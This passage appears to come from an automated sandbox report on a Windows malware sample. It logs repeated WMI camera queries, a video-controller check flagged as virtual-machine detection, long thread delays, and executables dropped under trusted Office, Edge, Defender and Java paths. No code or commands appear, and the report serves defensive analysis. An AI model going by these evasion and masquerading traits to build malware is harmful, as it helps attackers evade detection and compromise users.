                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
                              Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1500000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1B130000 memory reserve | memory write watchJump to behavior
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1A60000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1B660000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1650000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1B3F0000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 1730000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 1B1B0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1810000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1B500000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1040000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1ADA0000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 18B0000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 1B100000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1120000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1AA30000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1570000 memory reserve | memory write watch
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeMemory allocated: 1B1F0000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 1530000 memory reserve | memory write watch
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeMemory allocated: 1B060000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 26C0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: 1A8E0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 600000
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 3600000
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 300000
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1440Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1483
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3459
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1350
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1131
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1213
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1234
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1561
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1254
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1228
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1334
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1401
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1331
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1201
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1440
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1320
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1086
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1949
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWindow / User API: threadDelayed 6523
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWindow / User API: threadDelayed 2063
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\LabWdNFO.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\uWHiFCKf.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\rOKZjkQk.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\QWQVqwoz.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exeJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeDropped PE file which has not been started: C:\Users\user\Desktop\DiJGaagK.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\YAYKaqDh.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exeJump to dropped file
